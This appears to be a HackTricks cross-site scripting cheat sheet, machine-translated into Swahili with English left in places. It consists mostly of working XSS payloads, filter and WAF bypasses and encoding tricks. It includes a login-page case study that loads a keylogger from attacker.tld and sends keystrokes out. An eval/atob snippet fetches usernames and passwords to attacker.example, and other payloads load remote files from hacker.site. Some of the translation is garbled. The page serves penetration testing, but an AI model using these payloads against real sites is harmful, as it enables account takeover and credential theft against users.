XSS (Cross Site Scripting)

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Mbinu

  1. Angalia ikiwa kiasi chochote unachodhibiti (parameters, path, headers?, cookies?) kinaonyeshwa kwenye HTML au kinatumika na JS code.
  2. Tafuta muktadha ambapo kinayoonyeshwa/kinatumika.
  3. Ikiwa kinayoonyeshwa
  4. Angalia ni alama gani unaweza kutumia na kulingana na hilo, andaa payload:
  5. Katika raw HTML:
  6. Je, unaweza kuunda tags mpya za HTML?
  7. Je, unaweza kutumia events au attributes zinazounga mkono protocol ya javascript:?
  8. Je, unaweza kuzunguka ulinzi?
  9. Je, yamefafanuliwa yaliyomo ya HTML na engine yoyote ya client side JS (AngularJS, VueJS, Mavo…), unaweza kutumiwa Client Side Template Injection.
  10. Ikiwa huwezi kuunda HTML tags zinazotekeleza JS code, je, unaweza kutumia Dangling Markup - HTML scriptless injection?
  11. Ndani ya HTML tag:
  12. Je, unaweza kutoka kwenye muktadha wa attribute na kurudi raw HTML?
  13. Je, unaweza kuunda events/attributes mpya za kuendesha JS code?
  14. Je, attribute ambamo umefungwa inasaidia utekelezwaji wa JS?
  15. Je, unaweza kuzunguka ulinzi?
  16. Ndani ya JavaScript code:
  17. Je, unaweza kutoroka tag ya <script>?
  18. Je, unaweza kutoroka string na kuendesha JS tofauti?
  19. Je, input yako iko ndani ya template literals ``?
  20. Je, unaweza kuzunguka ulinzi?
  21. Javascript function inayotekelezwa
  22. Unaweza kuonyesha jina la function itakayotekelezwa. mf: ?callback=alert(1)
  23. Ikiwa inatumika:
  24. Unaweza kutekeleza DOM XSS, angalia jinsi input yako inavyozimamiwa na ikiwa input uliodhibitiwa inatumika na sink yoyote.

Unapofanya kazi kwenye XSS tata inaweza kukuvutia kujua kuhusu:

Debugging Client Side JS

Vigezo vinavyoonyeshwa

Ili kufanikiwa kuchochea XSS jambo la kwanza unalohitaji kupata ni kiasi unachodhibiti kinachoonyeshwa kwenye ukurasa wa wavuti.

  • Inayoonyeshwa pakati: Ikiwa unatambua kwamba thamani ya parameter au hata path inaonyeshwa kwenye ukurasa wa wavuti unaweza kuchochea Reflected XSS.
  • Imehifadhiwa na kuonyeshwa: Ikiwa unapata kwamba thamani unayodhibiti imehifadhiwa kwenye server na inaonyeshwa kila unapofungua ukurasa unaweza kuchochea Stored XSS.
  • Inapatikana kupitia JS: Ikiwa unapata thamani unayodhibiti inafikiwa kwa kutumia JS unaweza kuchochea DOM XSS.

Muktadha

Unapojaribu kuchochea XSS jambo la kwanza unalopaswa kujua ni wapi input yako inayoonyeshwa. Kulingana na muktadha, utaweza kuendesha JS kwa njia tofauti.

Raw HTML

Ikiwa input yako inaonyeshwa kwenye raw HTML utaahitaji kutumia baadhi ya HTML tag ili kuendesha JS code: <img , <iframe , <svg , <script … haya ni baadhi tu ya tags nyingi za HTML unazoweza kutumia.
Pia, kumbuka Client Side Template Injection.

Ndani ya attribute ya HTML tag

Ikiwa input yako inaonyeshwa ndani ya thamani ya attribute ya tag unaweza kujaribu:

  1. Kutoka katika attribute na kutoka kwenye tag (kisha utakuwa katika raw HTML) na kuunda tag mpya za HTML za kutumia: "><img [...]
  2. Ikiwa unaweza kutoka kwenye attribute lakini si kutoka kwenye tag (> imekodishwa au imeondolewa), kulingana na tag unaweza kuunda event inayotekeleza JS code: " autofocus onfocus=alert(1) x="
  3. Ikiwa huwezi kutoka kwenye attribute (" inarudishwa encoded au imeondolewa), basi kulingana na attribute gani thamani yako inayoonyeshwa ndani yake kama unamiliki sehemu yote ya thamani au sehemu tu utaweza kuitumia. Kwa mfano, ikiwa unadhibiti event kama onclick= utaweza kuifanya itekeleze code yoyote unapobofya. Mfano mwingine wa kuvutia ni attribute href, ambapo unaweza kutumia protocol ya javascript: kuendesha code yoyote: href="javascript:alert(1)"
  4. Ikiwa input yako inaonyeshwa ndani ya “unexpoitable tags” unaweza kujaribu njama ya accesskey kuutilia shaka udhaifu (utahitaji aina ya social engineering kuutekeleza): " accesskey="x" onclick="alert(1)" x="

Attribute-only login XSS behind WAFs

Kurasa ya corporate SSO login ilionyesha parameter ya OAuth service ndani ya attribute ya href ya <a id="forgot_btn" ...>. Ingawa < na > zilikuwa zime-HTML-encode, nukta mbili hazikukuwa zimekodishwa, kwa hivyo mshambuliaji aliweza kufunga attribute na kutumia element hiyo tena kuinject handlers kama " onfocus="payload" x=".

  1. Inject handler: Payload rahisi kama onclick="print(1)" zilizuizwa, lakini WAF ilichunguza tu tamko la kwanza la JavaScript katika inline attributes. Kutanguliza usemi usio hatari uliowekwa ndani ya parentheses, kisha semicolon, kuliruhusu payload halisi itekelezwe: onfocus="(history.length);malicious_code_here".
  2. Kuifanya iiteke bila kitendo cha mtumiaji: Browsers zinaweka focus kwa element yoyote yenye id inayoendana na fragment, hivyo kuongeza #forgot_btn kwenye URL ya exploit kunalazimisha anchor kupata focus wakati ukurasa unapopakia na kuendesha handler bila hitaji la kubofya.
  3. Fanya stub ndogo iwe ndogo: Lengo tayari lilikuwa likitumia jQuery. Handler ilihitaji tu kuanzisha ombi kupitia $.getScript(...) wakati keylogger kamili ulikuwa kwenye server ya mshambuliaji.

Kuunda strings bila nukuu

Single quotes zilirejea zikiwa URL-encoded na double quotes zilizotoroshwa ziliharibu attribute, hivyo payload iliunda kila string kwa kutumia String.fromCharCode. Kazi ya msaada inafanya iwe rahisi kubadilisha URL yoyote kuwa char codes kabla ya kuibandika ndani ya attribute:

function toCharCodes(str){
return `const url = String.fromCharCode(${[...str].map(c => c.charCodeAt(0)).join(',')});`
}
console.log(toCharCodes('https://attacker.tld/keylogger.js'))

Sifa iliyotokana ilionekana kama:

onfocus="(history.length);const url=String.fromCharCode(104,116,116,112,115,58,47,47,97,116,116,97,99,107,101,114,46,116,108,100,47,107,101,121,108,111,103,103,101,114,46,106,115);$.getScript(url),function(){}"

Kwa nini hili linaiba credentials

Script ya nje (iliyopakuliwa kutoka kwa host inayodhibitiwa na mshambuliaji au Burp Collaborator) ili-hook document.onkeypress, ikahifadhi keystrokes, na kila sekunde ilituma new Image().src = collaborator_url + keys. Kwa sababu XSS inawaka tu kwa watumiaji wasiojulikana, kitendo nyeti ni fomu ya kuingia yenyewe—mshambuliaji ana-keylog usernames na passwords hata kama mwathiriwa hakabonyeza “Login”.

Mfano la kushangaza la Angular inavyotekeleza XSS ikiwa unadhibiti jina la class:

<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Ndani ya JavaScript code

Katika kesi hii ingizo lako linaakisiwa kati ya <script> [...] </script> tags za ukurasa wa HTML, ndani ya faili .js au ndani ya attribute inayotumia protocol ya javascript::

  • Ikiwa linaakisiwa kati ya <script> [...] </script> tags, hata kama ingizo lako liko ndani ya aina yoyote ya quotes, unaweza kujaribu kuingiza </script> na kutoroka kutoka katika muktadha huu. Hii inafanya kazi kwa sababu kivinjari kitachakata kwanza HTML tags kisha maudhui, hivyo, hakitagundua kwamba umeingiza </script> ndani ya HTML code.
  • If reflected inside a JS string and the last trick isn’t working you would need to exit the string, execute your code and reconstruct the JS code (if there is any error, it won’t be executed:
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Ikiwa linaakisiwa ndani ya template literals unaweza embed JS expressions kutumia ${ ... } syntax: var greetings = `Hello, ${alert(1)}`
  • Unicode encode inafanya kazi kuandika valid javascript code:
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting inarejea fursa ya kutangaza functions, variables au classes baada ya zimetumika ili uweze kutumia matukio ambapo XSS inatumia variables au functions ambazo hazijatangazwa.
Angalia ukurasa ufuatao kwa maelezo zaidi:

JS Hoisting

Javascript Function

Kurasa kadhaa za wavuti zina endpoints ambazo zinapokea kama parameta jina la function la kutekeleza. Mfano wa kawaida unaoonekana kwa uhalisia ni kitu kama: ?callback=callbackFunc.

Njia nzuri ya kugundua ikiwa kitu kinachotolewa moja kwa moja na mtumiaji kinajaribu kutekelezwa ni kwa kubadilisha thamani ya parameta (kwa mfano kuwa ‘Vulnerable’) na kutazama kwenye console kwa makosa kama:

Ikiwa ni vulnerable, unaweza kuweza kusababisha alert kwa kutuma tu thamani: ?callback=alert(1). Hata hivyo, ni kawaida kwa endpoint hizi kuthibitisha yaliyomo ili kuruhusu tu herufi, nambari, nukta na underscores ([\w\._]).

Hata hivyo, hata kwa kizuizi hicho bado inawezekana kufanya baadhi ya vitendo. Hii ni kwa sababu unaweza kutumia characters halali kufikia kipengee chochote kwenye DOM:

Baadhi ya functions muhimu kwa hili:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Unaweza pia kujaribu kuamsha Javascript functions moja kwa moja: obj.sales.delOrders.

Hata hivyo, kawaida endpoints zinazoendesha function iliyoonyeshwa ni endpoints zisizo na DOM yenye kuvutia sana, kurasa nyingine katika same origin zitakuwa na DOM yenye kuvutia zaidi kwa ajili ya kufanya vitendo vingi.

Kwa hiyo, ili kutumia udhaifu huu kwenye DOM tofauti eksploit ya Same Origin Method Execution (SOME) ilitengenezwa:

SOME - Same Origin Method Execution

DOM

Kuna JS code ambayo inatumia kwa njia isiyo salama baadhi ya data controlled by an attacker kama location.href. An attacker, could abuse this to execute arbitrary JS code.

DOM XSS

Universal XSS

Aina hizi za XSS zinaweza kupatikana anywhere. Hazitegemei tu client exploitation ya web application bali katika any context. Aina hizi za arbitrary JavaScript execution zinaweza hata kutumiwa kupata RCE, read arbitrary files kwenye clients na servers, na zaidi.
Baadhi ya examples:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injecting inside raw HTML

Wakati input yako inarudishwa inside the HTML page au unaweza kutoroka na kuingiza HTML code katika muktadha huu, kitu cha first unachohitaji kufanya ni kuangalia kama unaweza abuse < kuunda tags mpya: Just try to reflect that char and check if it’s being HTML encoded or deleted of if it is reflected without changes. Only in the last case you will be able to exploit this case.
Kwa kesi hizi pia keep in mind Client Side Template Injection.
Note: A HTML comment can be closed using****-->****or **--!>**

Katika kesi hii na ikiwa hakuna black/whitelisting inatumiwa, unaweza kutumia payloads kama:

<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

Lakini, ikiwa tags/attributes black/whitelisting inatumiwa, utahitaji brute-force ni tags gani unaweza kuunda.
Mara unapopata ni tags gani zinaruhusiwa, utahitaji brute-force attributes/events ndani ya tags halali ulizopata ili kuona jinsi unavyoweza kushambulia muktadha.

Brute-force ya Tags/Events

Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn’t discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).

Tags maalum

If you didn’t find any valid HTML tag, you could try to create a custom tag and and execute JS code with the onfocus attribute. In the XSS request, you need to end the URL with # to make the page focus on that object and execute the code:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Ikiwa aina fulani ya blacklist inatumiwa, unaweza kujaribu ku-bypass kwa mbinu za kuchekesha:

//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (small XSSs)

[!NOTE] > Zaidi ya tiny XSS kwa mazingira tofauti payload zinaweza kupatikana hapa na hapa.

<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

The last one is using 2 unicode characters which expands to 5: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.

Click XSS - Clickjacking

Ikiwa ili kufaidika na udhaifu unahitaji mtumiaji kubofya a link au a form yenye data iliyojazwa, unaweza kujaribu abuse Clickjacking (ikiwa ukurasa una udhaifu).

Haiwezekani - Dangling Markup

Ikiwa unaona tu kwamba haiwezekani kuunda HTML tag yenye attribute itakayotekeleza JS code, angalia Danglig Markup kwa sababu unaweza kufaidika na udhaifu bila kukimbiza JS code.

Kuingiza ndani ya HTML tag

Ndani ya tag/escaping from attribute value

Ikiwa uko ndani ya HTML tag, jambo la kwanza unaloweza kujaribu ni kutoroka kutoka tag na kutumia baadhi ya techniques zilizotajwa katika the previous section to execute JS code.
Ikiwa hutaweza kutoroka kutoka tag, unaweza kuunda attributes mpya ndani ya tag kujaribu kutekeleza JS code, kwa mfano kwa kutumia payload kama (note that in this example double quotes are use to escape from the attribute, you won’t need them if your input is reflected directly inside the tag):

" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Matukio ya mtindo

<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Ndani ya attribute

Hata kama hutaweza kutoroka kutoka attribute (" inafasiriwa au inafutwa), kutegemea attribute gani thamani yako inaonyeshwa ndani yake na kama unadhibiti thamani yote au sehemu tu utaweza kuitumia kwa njia mbaya. Kwa mfano, ikiwa unadhibiti event kama onclick= utaweza kufanya iaiendeshe code yoyote inapobonyezwa.\
Mfano mwingine wa kuvutia ni attribute href, ambapo unaweza kutumia protocol ya javascript: kutekeleza code yoyote: href="javascript:alert(1)"

Kuvuka ndani ya event kwa kutumia HTML encoding/URL encode

The HTML encoded characters inside the value of HTML tags attributes are decoded on runtime. Therefore something like the following will be valid (the payload is in bold): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Kumbuka kwamba aina yoyote ya HTML encode inakubalika:

//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Kumbuka kuwa URL encode pia itafanya kazi:

<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass ndani ya event kwa kutumia Unicode encode

//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Protokoli Maalum Ndani ya attribute

Huko unaweza kutumia protokoli javascript: au data: katika baadhi ya sehemu ili kutekeleza msimbo wowote wa JS. Baadhi zitahitaji mwingiliano wa mtumiaji; nyingine hazitahitaji.

javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Maeneo ambapo unaweza kuingiza protokoli hizi

Kwa ujumla protokoli ya javascript: inaweza kutumika katika tag yoyote ambayo inakubali attribute href na katika sehemu kubwa ya tag zinazokubali attribute src (lakini si <img>)

<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Mbinu nyingine za kuficha

Katika kesi hii, HTML encoding na Unicode encoding trick kutoka sehemu iliyopita pia ni halali kwani uko ndani ya attribute.

<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Zaidi ya hayo, kuna njia nyingine nzuri kwa kesi hizi: Hata kama ingizo lako ndani ya javascript:... linakuwa URL encoded, litatengenezwa kuwa URL decoded kabla ya kutekelezwa. Hivyo, ikiwa unahitaji escape kutoka kwenye string kwa kutumia single quote na unaona kwamba it’s being URL encoded, kumbuka kwamba haijalishi, itakuwa interpreted kama single quote wakati wa execution.

&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Tambua kwamba ikiwa utajaribu kutumia zote mbili URLencode + HTMLencode kwa mpangilio wowote ili encode payload haitafanya kazi, lakini unaweza kuwachanganya ndani ya payload.

Kutumia Hex and Octal encode with javascript:

Unaweza kutumia Hex na Octal encode ndani ya sifa ya src ya iframe (angalau) kuunda HTML tags to execute JS:

//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

<a target="_blank" rel="opener"

Ikiwa unaweza kuingiza URL yoyote katika tagi yoyote ya <a href= ambayo ina sifa za target="_blank" and rel="opener", angalia ukurasa ufuatao ili exploit tabia hii:

Reverse Tab Nabbing

on Event Handlers Bypass

Kwanza kabisa angalia ukurasa huu (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) kwa “on” event handlers muhimu.
Kama kuna blacklist inayokuzuia kuunda event handlers hizi unaweza kujaribu bypass zifuatazo:

<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Kutoka here sasa inawezekana kuutumia vibaya hidden inputs kwa:

<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

Na katika meta tags:

<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Kutoka here: Unaweza kutekeleza XSS payload inside a hidden attribute, mradi tu unaweza kumshawishi mwanaathiriwa kubonyeza mchanganyiko wa funguo. Kwenye Firefox Windows/Linux mchanganyiko wa funguo ni ALT+SHIFT+X na kwenye OS X ni CTRL+ALT+X. Unaweza kubainisha mchanganyiko tofauti wa funguo kwa kutumia funguo tofauti katika access key attribute. Hapa kuna vektori:

<input type="hidden" accesskey="X" onclick="alert(1)">

XSS payload itakuwa kitu kama hiki: " accesskey="x" onclick="alert(1)" x="

Blacklist Bypasses

Njia kadhaa za kutumia encoding tofauti tayari zimetajwa ndani ya sehemu hii. Rudi kujifunza wapi unaweza kutumia:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

Read the Blacklist Bypasses of the previous section.

Bypasses for JavaScript code

Read the JavaScript bypass blacklist of the following section.

CSS-Gadgets

Ikiwa umepata a XSS katika sehemu ndogo sana ya wavuti inayohitaji aina fulani ya mwingiliano (labda linki ndogo kwenye footer yenye onmouseover), unaweza kujaribu kubadilisha nafasi ambayo kipengele hicho kinachukua ili kuongeza uwezekano wa linki hiyo kufyatuliwa.

Kwa mfano, unaweza kuongeza muundo ndani ya kipengele kama: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Lakini, ikiwa WAF inachuja attribute ya style, unaweza kutumia CSS Styling Gadgets, hivyo ikiwa unapata, kwa mfano

.test {display:block; color: blue; width: 100%}

na

#someid {top: 0; font-family: Tahoma;}

Sasa unaweza kubadilisha link yetu na kuiweka kwenye muundo

<a href=“” id=someid class=test onclick=alert() a=“”>

Trick hii ilichukuliwa kutoka kwa https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injecting inside JavaScript code

Katika kesi hizi yako input itarudishwa ndani ya JS code ya faili .js au kati ya <script>...</script> tags au kati ya HTML events ambazo zinaweza kutekeleza JS code au kati ya attributes zinazokubali protocol ya javascript:.

Escaping <script> tag

Ikiwa code yako imeingizwa ndani ya <script> [...] var input = 'reflected data' [...] </script> unaweza kwa urahisi kutoroka kwa kufunga tag ya <script>:

</script><img src=1 onerror=alert(document.domain)>

Kumbuka kwamba katika mfano huu hatujafunga hata alama ya nukta moja (’). Hii ni kwa sababu parsing ya HTML hufanywa kwanza na kivinjari, ambayo inajumuisha kutambua vipengele vya ukurasa, ikiwa ni pamoja na sehemu za script. Parsing ya JavaScript ili kuelewa na kutekeleza script zilizowekwa hufanywa baadaye tu.

Ndani ya JS code

Ikiwa <> zinachujwa bado unaweza escape the string katika sehemu ambapo input yako imewekwa na execute arbitrary JS. Ni muhimu fix JS syntax, kwa sababu ikiwa kuna makosa yoyote, JS code haitatekelezwa:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

Wakati input ya mtumiaji inapowekwa ndani ya quoted JavaScript string (kwa mfano, server-side echo into an inline script), unaweza terminate the string, inject code, na repair sintaksia ili parsing ibaki halali. Mfano wa jumla:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

Mfano wa muundo wa URL wakati parameter dhaifu inarudishwa ndani ya string ya JS:

?param=test";<INJECTION>;a="

Hii inatekeleza attacker JS bila ya kuhitaji kugusa muktadha wa HTML (pure JS-in-JS). Changanya na blacklist bypasses hapa chini wakati filters zinapozuia keywords.

Template literals ``

Ili kujenga strings mbali na single na double quotes, JS pia inakubali backticks ``. Hii inajulikana kama template literals kwa kuwa zinawezesha embedded JS expressions kwa kutumia sintaksia ${ ... }.\
Kwa hiyo, ikiwa utagundua kuwa input yako inarudishwa (is being reflected) ndani ya JS string inayotumia backticks, unaweza ku-abuse sintaksia ${ ... } kutekeleza arbitrary JS code:

Hii inaweza kutumiwa vibaya kwa kutumia:

;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Imekodishwa code execution

<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

Deliverable payloads with eval(atob()) and tofauti ndogo za scope

Ili kufanya URLs kuwa fupi na kuepuka vichujio rahisi vya maneno muhimu, unaweza base64-encode mantiki yako halisi na kuitathmini kwa eval(atob('...')). Ikiwa vichujio rahisi vya maneno muhimu vinazuia vitambulisho kama alert, eval, au atob, tumia vitambulisho vilivyofichwa kwa Unicode ambavyo vinatengeneza matokeo sawa kwenye browser lakini vinakwepa vichujio vinavyotumia mfuatano wa herufi:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

Tofauti muhimu ya wigo: const/let zilizotangazwa ndani ya eval() zina wigo la block na hazitaundwa kuwa globali; hazitapatikana kwa scripts zinazofuata. Tumia elementi ya <script> iliyowekwa dinamiki ili kufafanua hooks za globali zisizoweza kurebind unapohitaji (kwa mfano, kuingilia handler ya fomu):

var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

Marejeo: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Unicode Encode JS execution

alert(1)
alert(1)
alert(1)

JavaScript bypass blacklists techniques

Strings

"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Matorokano maalum

"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

Ubadilishaji wa nafasi ndani ya msimbo wa JS

<TAB>
/**/

JavaScript comments (kutoka JavaScript Comments triki)

//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript mistari mipya (kutoka JavaScript new line ujanja)

//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

Nafasi za JavaScript

log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
